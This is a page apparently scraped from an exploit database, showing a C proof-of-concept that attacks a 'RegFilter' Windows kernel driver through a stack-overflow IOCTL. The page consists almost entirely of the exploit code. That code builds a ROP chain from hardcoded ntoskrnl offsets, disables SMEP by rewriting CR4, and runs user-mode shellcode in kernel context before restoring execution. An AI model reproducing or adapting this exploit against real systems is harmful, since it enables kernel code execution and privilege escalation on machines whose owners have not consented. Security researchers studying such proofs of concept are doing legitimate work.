4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Exploit.c C
#include <windows.h>
#include <Psapi.h>
#include <stdio.h>
/*
Kernel related offsets are for ntoskrnl, version: 10.0.17134.285
Working as of 10/23/18
*/
typedef unsigned long long QWORD; // DWORD64


int main(int argc, char* argv[]) {
  HANDLE hDriver = CreateFileW(L"\\\\.\\RegFilter", GENERIC_READ | GENERIC_WRITE, 0,
    NULL, OPEN_EXISTING, 0, NULL); // Get a handle to the driver

  if (hDriver != INVALID_HANDLE_VALUE) {
    printf("[i] Found driver\n");
    LPVOID lpInMemoryArea = VirtualAlloc((LPVOID)0x41000000, 0x300, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    LPVOID lpOutMemoryArea = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    LPVOID lpShellcodeArea = VirtualAlloc((LPVOID)0x43000000, 0x400, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    BYTE arrShellcode[] = { 0x49, 0xC7, 0xC6, 0x02, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC6, 0x01, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC1, 0x78, 
                            0x06, 0x07, 0x00, 0x48, 0x83, 0xEC, 0x18, 0x48, 0xB8, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0x50, 
                            0x48, 0xB8, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0x50, 0xC3 };
    /* 
    This code contains 2:
    mov rax, 0xEEEEEEEEEEEEEEEE
    push rax 
    instruction sequences. 
    0xEE... will be dynamicly edited at runtime
    which will allow a return to nt!IopSynchronousServiceTail + 0x1ab at the end of shellcode.
    The other assembly moves values that would have been in registers if the code hade returned normally
    */
		
    if (lpInMemoryArea == NULL || lpShellcodeArea == NULL) {
      printf("[!!!] Unable to allocate memory\n");
      ExitProcess(-1);
     }
    printf("[i] Allocated memory\n");
    memset(lpInMemoryArea, 0xEE, 0x1C0); // Clean memory area
    memset(lpShellcodeArea, 0x00, 0x400);
    memmove(lpShellcodeArea, &arrShellcode, 48); // Put shellcode in proper memory area

    LPDWORD lpcbNeeded = 0; // Size you need (the "safe" way)
    LPVOID arrDriversAddresses[250] = { 0 }; // Change if you have more than 250 drivers loaded
    K32EnumDeviceDrivers(arrDriversAddresses, 0x250, &lpcbNeeded); // You could also call this function twice, and get the array size you need

    QWORD qwTemp = arrDriversAddresses[0]; // First value is ntoskrnl.exe base address
    qwTemp += 0x1A58F0; // nt!HvlEndSystemInterrupt + 0x20 
    QWORD qwRCX = 0x30678; // value for rcx, so: mov cr4, rcx ; has cr4 with SMEP disabled
    memmove((BYTE*)lpInMemoryArea + 0x38, &qwTemp, sizeof(QWORD)); // First link in ROP chain (pop rcx)
    memmove((BYTE*)lpInMemoryArea + 0x40, &qwRCX, sizeof(QWORD)); // Value that will be popped into rcx
    qwTemp = arrDriversAddresses[0];
    qwTemp += 0x47E6FD; // nt!KiEnableXSave + 0x54D1
    memmove((BYTE*)lpInMemoryArea + 0x48, &qwTemp, sizeof(QWORD));
    memmove((BYTE*)lpInMemoryArea + 0x50, &lpShellcodeArea, sizeof(QWORD));
    /*
      In order to restore code execution, the stack must be re-aligned before IopSynchronousServiceTail
      Therefore at the end of our shellcode, we must sub from rsp (go backwards) 
      push ret addresses to the stack to disable SMEP and return to IopSynchronousServiceTail. 
          [Exploit End] <--|
     ---> [Exploit Start]  |
          [Shellcode] ---->|(Dynamic addition of rets to stack)
    */
    qwTemp = arrDriversAddresses[0];
    qwTemp += 0x47E6FD; // nt!KiEnableXSave + 0x54D1, re-enable SMEP, so no Patch Guard, or other strange BSoDs
    memmove((BYTE*)lpShellcodeArea + 38, &qwTemp, sizeof(QWORD)); // Add ret location to stack

    qwTemp = arrDriversAddresses[0];  
    qwTemp += 0x4E619B; // nt!IopSynchronousServiceTail + 0x1AB, hopefully resume normal execution
    memmove((BYTE*)lpShellcodeArea + 27, &qwTemp, sizeof(QWORD)); // Add ret location to stack

    DWORD dwIoctl = 0x8006E010; // Stack overflow IOCTL
    printf("[i] Sending IOCTL 0x%X\n", dwIoctl);
    DWORD dwBytesOut = 0;
    NTSTATUS dwLastError = DeviceIoControl(hDriver, dwIoctl, lpInMemoryArea, 0x68, lpOutMemoryArea, 0x8, &dwBytesOut, NULL); 
    // nlnInBufferSize is in Bytes (0x68 is needed)
    printf("[i] Success? Return: %X\n", dwLastError);
  }
  else {
    printf("[!!!] Unable to find driver\n");
    ExitProcess(-1);
  }
  ExitProcess(0);
}